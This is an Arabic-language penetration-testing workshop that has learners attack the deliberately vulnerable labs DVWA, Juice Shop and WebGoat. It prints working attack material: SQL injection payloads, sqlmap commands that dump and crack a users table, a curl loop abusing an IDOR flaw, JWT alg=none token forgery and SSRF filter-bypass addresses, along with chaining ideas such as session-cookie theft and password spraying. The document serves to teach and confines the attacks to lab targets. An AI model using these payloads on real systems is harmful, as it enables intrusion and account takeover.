إنتقل إلى المحتوى الرئيسي

OWASP Top 10 — ورشة تطبيقية

تأخذ DVWA وJuice Shop وWebGoat، الثلاثة مُشغَّلة بأمر docker compose واحد. تُسقِط ثلاث ثغرات من ثلاث فئات مختلفة من الـ Top 10. لكل واحدة: طلب، استجابة، دليل أثر. مكافأة: سلسلة تربط بين اثنتين منها على الأقل.

احسب : 3 ساعات.

التسليم : ~/labs/rapport/owasp.md مع ثلاث بطاقات كاملة + ~/labs/preuves/ مع جميع الأدلة (artefacts).

الإطار

تُنفَّذ هذه الهجمات حصريًا ضد DVWA أو Juice Shop أو WebGoat أو هدف خاضع لـ rules of engagement صريحة. لا هجوم نحو الخارج إطلاقًا. هذا غير قابل للتفاوض.


المتطلبات المسبقة​

Docker Desktop يعمل (راجع الوحدة 01). لا حاجة لأي تنزيل آخر: يتكفّل ملف compose بكل شيء.

Burp Suite Community مثبَّت على جهازك المضيف (تنزيل مجاني: portswigger.net). يعترض الوكيل (proxy) على المضيف طلبات متصفحك نحو الحاويات، تمامًا كما في الواقع.

يُنصَح باستخدام Firefox: أكثر تسامحًا مع شهادة CA مخصَّصة من Chrome/Edge.


الخطوة 1 — تشغيل المختبر (3 دقائق)​

cd labs/docker/module-07-owasp
docker compose up -d

تبدأ أربع حاويات بالعمل. احسب حوالي 60 ثانية حتى يصبح WebGoat (Spring، ثقيل) جاهزًا.

تحقّق من السلامة:

cd ..
./verifier-lab.sh module-07-owasp # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-07-owasp # PowerShell

افتح الأهداف الثلاثة في متصفحك (عبر المضيف، المنافذ المنشورة) :

مجلد أدلة على جانب المهاجم :

docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs
تعريف — لماذا ثلاثة أهداف وليس فقط Juice Shop أو DVWA

يمثّل كل هدف حقبة وحزمة تقنية (stack) مختلفة من تطوير الويب، ويكشف كل واحد منها عائلة من الثغرات لا يُظهرها الهدفان الآخران بالقدر نفسه من الوضوح.

DVWA (Damn Vulnerable Web Application) مكتوب بلغة PHP على طراز سنوات 2005-2010: mysql_query، كوكيز بسيطة، بلا أي إطار عمل (framework). إنه أفضل أرضية لفهم الثغرات الأساسية — حقن SQL كلاسيكي، XSS منعكسة، file inclusion، رفع ملفات بلا ترشيح. ترى الشيفرة المصدرية، وترى الترقيع (patch). صعوبة قابلة للضبط (Low/Medium/High/Impossible)، ما يجعل التعلّم تدريجيًا.

Juice Shop مكتوب بـ Node.js/Angular، النموذج الأمثل للتطبيق الحديث: API من نوع REST، JWT، SPA، خلفية (backend) Express، قاعدة بيانات SQLite. الثغرات هي تلك التي نجدها سنة 2026 في الشركات الناشئة — IDOR على /api/basket، XSS مخزَّنة عبر الـ API، JWT موقَّع بشكل سيّئ، حقن NoSQL، كسر التحكم الأفقي في الوصول. وهو أيضًا ممتع: لوحة النقاط (score-board) تُحدَّث بتحدياتك المحلولة.

WebGoat مكتوب بلغة Java/Spring، الحزمة التقنية الأكثر شيوعًا في الشركات الكبرى. يقدّم سيناريوهات تعليمية موجَّهة: يصف كل درس المشكلة، ويوفّر سياق الشيفرة، ويتحقق من استغلالك. نتعمّق فيه في الفئات الأقل وضوحًا — تشفير سيّئ التنفيذ (A02)، مصادقة مكسورة (A07)، إلغاء تسلسل (désérialisation) خطير، تحكم في الوصول على واجهات API من نوع JSON.

معًا، تغطي الأهداف الثلاثة مجموع الفئات العشر من OWASP Top 10 2021. لهذا السبب نُشغّلها جميعًا في آن واحد: تختار أفضل تطبيق لكل تمرين، بدلًا من إرغام مختبر على كشف ثغرة لا يعرفها.


الخطوة 2 — إعداد Burp (5 دقائق)​

على جهازك المضيف :

  1. شغّل Burp Suite Community، اختر Temporary project، ثم Use Burp defaults.
  2. في لسان Proxy → Options، تحقّق من أن Burp يستمع على 127.0.0.1:8080.
  3. في Firefox: Preferences → Network Settings → Manual proxy configuration :
    • HTTP Proxy: 127.0.0.1، Port: 8080
    • فعّل خيار Also use this proxy for HTTPS
  4. افتح http://burpsuite في Firefox، نزّل شهادة CA واستوردها (عبر Settings → Certificates → View certificates → Import).

اختبار سريع: في Proxy → Intercept، فعّل الاعتراض. أعد تحميل http://localhost:4280 في Firefox. يعترض Burp الطلب، تنقر Forward، وتظهر الصفحة.

تعريف — دور الوكيل (proxy) ولماذا Burp لا غنى عنه

يتموضع وكيل HTTP بين متصفحك والخادم. كل طلب يصدره Firefox يمرّ أولًا عبر Burp، الذي يعرضه عليك، ويتيح لك تعديله، ثم يعيد توجيهه. كل استجابة تسلك المسار العكسي. لديك وصول كامل إلى ما يجري على السلك، بما في ذلك ترويسات HTTP، والكوكيز، وأجسام الطلب/الاستجابة.

بدون هذا المستوى من التحكم، يظل نصف ثغرات الويب تقريبًا غير مرئي. الـ IDOR على /api/basket/2 يتطلب إعادة تشغيل طلب مع تغيير رقم. حقن SQL يتطلب ملاحظة رسالة الخطأ الدقيقة التي يعيدها الخادم. التحكم في الوصول يتطلب العبث بكوكي. لا شيء من هذه الأفعال ممكن من متصفح عادي — لكنها كلها بسيطة من Burp.

Burp Suite Community مجاني ويكفي لهذه الورشة. تضيف نسخة Pro ماسحًا آليًا (Active Scan) وIntruder بلا قيود على السرعة، وهما ضروريان في مهمة احترافية. أما المنطق فهو نفسه في النسختين. تعوَّد عليه في Community: ستكون مرتاحًا في Pro من أول يوم.


الخطوة 3 — اختيار 3 فئات (10 دقائق)​

عليك تغطية 3 فئات مختلفة من بين هذه الست (الأكثر تكوينًا) :

الفئةالميدان المُوصى بهملاحظات
A01 — التحكم في الوصول (IDOR أو رأسي)Juice Shop /api/basket/*IDOR خالص، واضح جدًا في Burp.
A03 — حقن SQLDVWA SQL Injectionكلاسيكي مع sqlmap، صعوبة تدريجية.
A03 — XSS مخزَّنةJuice Shop Customer Feedbackدليل الأثر عبر إعادة توجيه (redirect) أو مسجّل ضغطات مفاتيح (keylogger).
A05 — إعداد خاطئDVWA (ترويسات، سرد الدلائل)إيجاد /config/config.inc.php.
A07 — التعريف/المصادقةJuice Shop /rest/user/login JWTJWT بـ alg=none أو مفتاح ضعيف.
A10 — SSRF / LFIWebGoat Server-Side Request Forgeryسيناريو موجَّه، استدعاء عكسي (callback) عبر WebWolf.

دوِّن اختيارك في رأس rapport/owasp.md، مع جملة تبرير واحدة لكل فئة. التبرير هو ما يُظهر أنك تفكّر في هجومك، لا أنك فقط تعثر على ما هو متاح.


الخطوة 4 — الهجوم، الفئة 1 (60 دقيقة)​

لنأخذ مثالًا ملموسًا : A03 — حقن SQL على DVWA.

  1. افتح http://localhost:4280، سجّل الدخول، اضبط Security = Low.
  2. افتح SQL Injection من القائمة.
  3. في شريط User ID:، أرسل 1. لاحظ الاستجابة: الاسم + اللقب.
  4. أرسل 1' OR '1'='1. يظهر الجدول كاملًا — بصمة حقن SQLi.

في Burp، أرسل الطلب إلى Repeater (Ctrl+R)، ثم إلى Intruder لاختبار عدة حمولات. بالتوازي، من جهاز Kali المهاجم :

docker compose exec attaquant bash
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users

استخرج كوكي PHPSESSID من DevTools في Firefox. يحدّد Sqlmap الحقن تلقائيًا، ويُفرِّغ جدول dvwa.users، ويكسر تجزئات MD5 لكلمات المرور.

دليل الأثر : محتوى dvwa.users (5 حسابات)، كلمة مرور admin بنص صريح (« password »)، ولقطة شاشة لأمر sqlmap تنتهي بـ [INFO] the back-end DBMS is MySQL.

احفظ الأثر :

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users --output-dir=preuves/sqli

بعدها، في rapport/owasp.md، املأ البطاقة :

## الثغرة — A03 : حقن SQL في DVWA /vulnerabilities/sqli

### السياق
- الرابط : http://dvwa/vulnerabilities/sqli/?id=1
- الدور : مستخدم متصل (أي مستخدم)
- صعوبة DVWA : Low

### POC (دليل تقني)
- الطلب المُرسَل :
```http
GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
Host: dvwa
Cookie: security=low; PHPSESSID=xxxx
```
- الاستجابة (مقتطف) : خمسة أسطر مُعادة بدل سطر واحد، ما يثبت أن المعامل `id` يُدمَج (concaténé) في جملة `WHERE` بلا تهريب (échappement).

### دليل الأثر
- حمولة sqlmap : تفريغ كامل لجدول `dvwa.users`
- النتيجة : استرجاع 5 حسابات، منها `admin` بنص صريح (`password`)، و`gordonb` (`abc123`)، و`1337` (`charley`).
- الأدلة (Artefacts) : `preuves/sqli/dump/dvwa/users.csv`، `preuves/sqli/log`

### التوصية
- فوري : تمرير المعاملات عبر طلبات مُعَدَّة مسبقًا (prepared statements) (`mysqli::prepare`).
- على المدى البعيد : تدقيق ثابت لشيفرة PHP، إضافة WAF على مستوى التطبيق، تدريب المطوّرين.

كل قسم إلزامي. بلا دليل أثر، لا تساوي البطاقة شيئًا.


الخطوة 5 — الفئة 2 (60 دقيقة)​

المتطلب نفسه، فئة مختلفة. مثال : A01 — IDOR على Juice Shop.

  1. سجّل على http://localhost:3000/#/register (user1@juice.local / Pentest1!).
  2. سجّل الدخول، وأضف عنصرًا إلى السلة.
  3. افتح HTTP history في Burp، وابحث عن الطلب GET /rest/basket/6 (المعرّف يختلف حسب مستخدمك).
  4. أعد التشغيل عبر Repeater مع تغيير /rest/basket/6 ← /rest/basket/1. تحصل على سلة المسؤول.

دليل الأثر : محتوى JSON لسلة 1 (على الأرجح عدة عناصر غالية)، والأهم أنه لا يجري أي تحقق بين رمز JWT الخاص بـ user1 والمستخدم مالك السلة 1.

أتمتة من جانب المهاجم :

for i in 1 2 3 4 5 6 7 8 9 10; do
curl -s "http://juice-shop:3000/rest/basket/$i" \
-H "Authorization: Bearer $JWT" \
| jq . > preuves/idor/basket-$i.json
done

تستعيد عشر سلال من عشرة مستخدمين مختلفين في ثلاث ثوانٍ. هذا هو تعريف IDOR القابل للتسلسل.


الخطوة 6 — الفئة 3 (60 دقيقة)​

فئة مختلفة أيضًا. مثال : A07 — JWT بـ alg=none على Juice Shop.

  1. استخرج رمز JWT الحالي عبر Burp (في ترويسة Authorization).
  2. فكّ ترميزه على https://jwt.io/#debugger-io. الترويسة {"alg":"HS256"}، والحمولة تحتوي على بريدك الإلكتروني.
  3. عدّل الترويسة إلى {"alg":"none"}، واستبدل البريد الإلكتروني في الحمولة بـ admin@juice-sh.op، واحذف التوقيع (فقط header.payload.).
  4. أعد التشغيل عبر Burp بحقن هذا الرمز المعدَّل.

على الإصدارات الضعيفة من Juice Shop، ينجح الأمر: تصبح مسؤولًا. على الإصدارات المُرقَّعة، يفشل — وتوثيق الفشل دليل أيضًا.

دليل الأثر : لقطة شاشة لواجهة المسؤول (/#/administration)، أو للرفض الصريح مع الأثر الكامل لتقريرك.

تعريف — JWT وفخ alg=none

الـ JSON Web Token (JWT) هو سلسلة مضغوطة من ثلاثة أجزاء مفصولة بنقاط: header بصيغة JSON، وpayload بصيغة JSON، وتوقيع (signature). يضمن التوقيع أن لا أحد عدّل المحتوى — يحسبه الخادم بمفتاح سري، ويُتحقَّق منه في كل طلب.

تحتوي الترويسة على حقل alg يشير إلى خوارزمية التوقيع المتوقَّعة: HS256، RS256، ES384... كانت المواصفة الأصلية تتيح أيضًا القيمة none، المُفترَض استخدامها فقط في سياقات لا حاجة فيها للتوقيع (مشفَّرة أصلًا بقناة أعلى). عمليًا، طبّقت عدة مكتبات التحقق من التوقيع عبر الوثوق بحقل alg في الترويسة — إذا قال العميل alg=none، لا تتحقق المكتبة من شيء.

النتيجة: يمكن لأي شخص تزوير رمز بتعديل الحمولة، وكتابة alg=none في الترويسة، وحذف التوقيع. يقبل الخادم الرمز باعتباره صالحًا ويصادق عليك بأي هوية تريدها.

الثغرة معروفة منذ 2015 ومُصحَّحة في جميع المكتبات الحديثة، لكنها ما زالت موجودة في تطبيقات قديمة (héritées) أو إعدادات مخصَّصة (custom). وهي أيضًا أفضل مثال لتوضيح مبدأ «لا تثق أبدًا بالطرف العميل ليقول من هو». يجب على الخادم فرض الخوارزمية، وتجاهل ترويسة alg في الرمز الوارد تمامًا، والاعتماد فقط على إعداداته الداخلية للتحقق.


الخطوة 7 — السلسلة (30 دقيقة)​

سلسلة واحدة على الأقل، تجمع بين ثغرتين وجدتهما، لتنتج أثرًا أكبر من مجموع الجزأين.

أمثلة على سلاسل قوية :

  • XSS مخزَّنة ← سرقة كوكي جلسة المسؤول ← السيطرة على حساب المسؤول (Juice Shop Customer Feedback + لوحة تحكم Juice Shop)
  • IDOR ← تعداد كل عناوين البريد الإلكتروني ← password spraying ← اختراق 10 حسابات (Juice Shop /api/users + /rest/user/login)
  • SQLi ← تفريغ ملف الإعداد ← مفتاح JWT ← تزوير رمز المسؤول (DVWA + Juice Shop، بإعادة استخدام المفتاح إن استعدته)
  • LFI ← قراءة /etc/passwd ثم /proc/self/environ ← استعادة سر التطبيق ← تزوير JWT
  • SSRF ← قراءة بيانات اعتماد AWS عبر metadata ← السيطرة على السحابة (سيناريو WebGoat + تذكير بالوحدة 11)

وثّق السلسلة في rapport/chaine.md :

# سلسلة الهجوم — <عنوان قصير>

## الخطوة 1 — <الثغرة A>
وصف موجز، مع ذكر الدليل (artefact) المستخدم.

## الخطوة 2 — <الثغرة B>
الأمر نفسه.

## الخطوة 3 — <الاستغلال المُركَّب>
كيف استُخدم مخرج A كمدخل لـ B.

## الأثر المُركَّب
جملة قوية، مُقدَّرة كميًا إن أمكن ("اختراق 10 حسابات مستخدمين في 3 دقائق").

## لماذا هذا أخطر من مجموع الأجزاء
جملة واحدة: ما لا تسمح به كل ثغرة بمفردها.

هذا هو الجزء الأكثر تقديرًا في المقابلة التقنية : إظهار أنك تعرف كيف تُسلسِل.


الخطوة 8 — جدول التوليف (15 دقيقة)​

أضف إلى التقرير جدولًا تلخيصيًا :

| الفئة | العنوان | الخطورة | الدليل | قابل للتسلسل |
| --- | --- | --- | --- | --- |
| A03 | SQLi في DVWA /vulnerabilities/sqli | حرجة | preuves/sqli/ | نعم، مع A07 |
| A01 | IDOR على /rest/basket (Juice Shop) | عالية | preuves/idor/ | نعم، مع A03 |
| A07 | JWT alg=none (Juice Shop) | حرجة | preuves/jwt/ | نعم، مع A01 |

شبكة التقييم الذاتي​

  • تغطية ثلاث فئات مختلفة.
  • كل بطاقة : سياق + POC + دليل أثر + توصية.
  • كل الطلبات/الاستجابات مُصدَّرة من Burp إلى preuves/.
  • لا تقتصر أي بطاقة على alert(1) أو id=1'--.
  • سلسلة موثَّقة في chaine.md بثغرتين على الأقل.
  • جدول توليف كامل.
  • لا استخراج جماعي للبيانات (احترامًا لـ RoE الورشة).
  • كل الهجمات على أهداف مصرَّح بها — DVWA وJuice Shop وWebGoat فقط.

امتداد اختياري — كتابة قالب Nuclei​

خذ أبسط ثغرة وجدتها. اكتب قالب Nuclei بصيغة YAML يكشفها :

id: juice-shop-idor-basket
info:
name: Juice Shop - IDOR on /rest/basket
author: <vous>
severity: high

http:
- method: GET
path:
- '{{BaseURL}}/rest/basket/1'
headers:
Authorization: "Bearer {{token}}"
matchers:
- type: word
words:
- '"UserId":1'

اختبره من حاوية المهاجم :

nuclei -u http://juice-shop:3000 -t votre-template.yaml

قالب Nuclei يعمل هو معادل تدوينة مدونة — هذا ما يُدرَج في portfolio.


ما يعطّل عادة​

العرضالسببالحل
Burp لا يرى شيئًاالوكيل غير مُعدّ أو HTTPS غير معترَضتحقّق من 127.0.0.1:8080، واستورد CA عبر http://burpsuite.
sqlmap يقول not injectableنقطة الحقن خاطئةحدِّد -p id، واضبط --level=3 --risk=2.
حمولة XSS مُرشَّحةالصعوبة مرتفعة جدًاعد إلى Low على DVWA للفهم، ثم ارفع المستوى لاحقًا.
رفض JWT alg=noneإصدار مُرقَّعوثِّق ذلك كفشل تعليمي — فهذا أيضًا دليل.
SSRF لا يُعيد شيئًاالتطبيق يُرشِّح عناوين IP الخاصةاختبر 127.0.0.1، ثم localhost، ثم [::1]، ثم 2130706433 (عشري).
WebGoat يفقد التقدمانتهت صلاحية الجلسةأعد تسجيل الدخول، وأعد المحاولة.
DVWA "Database error"القاعدة غير مُهيَّأةsetup.php → Create/Reset Database.
فشل docker compose exec attaquantالحاوية لم تُشغَّلdocker compose ps، docker compose up -d attaquant.

ما تخرج به من هذه الورشة​

  • ثلاث ثغرات مُستغَلة فعليًا، مع الأدلة.
  • سلسلة تُظهر طريقة تفكيرك.
  • تقرير منظَّم كتقرير اختبار اختراق حقيقي لعميل.
  • القدرة على إعادة إنتاج هذه الهجمات في مقابلة تقنية، مع Docker Desktop كاعتماد وحيد.
  • تعرّض لثلاث حزم تقنية للويب مختلفة (PHP قديمة، Node حديثة، Java Spring) — العوالم الثلاثة التي ستصادفها في مسيرتك المهنية.

الخطوة التالية: اختبار الوحدة. بعدها ندخل إلى الوحدة 8 — Metasploit — حيث نُؤتمِت ونُسلسِل على نطاق واسع.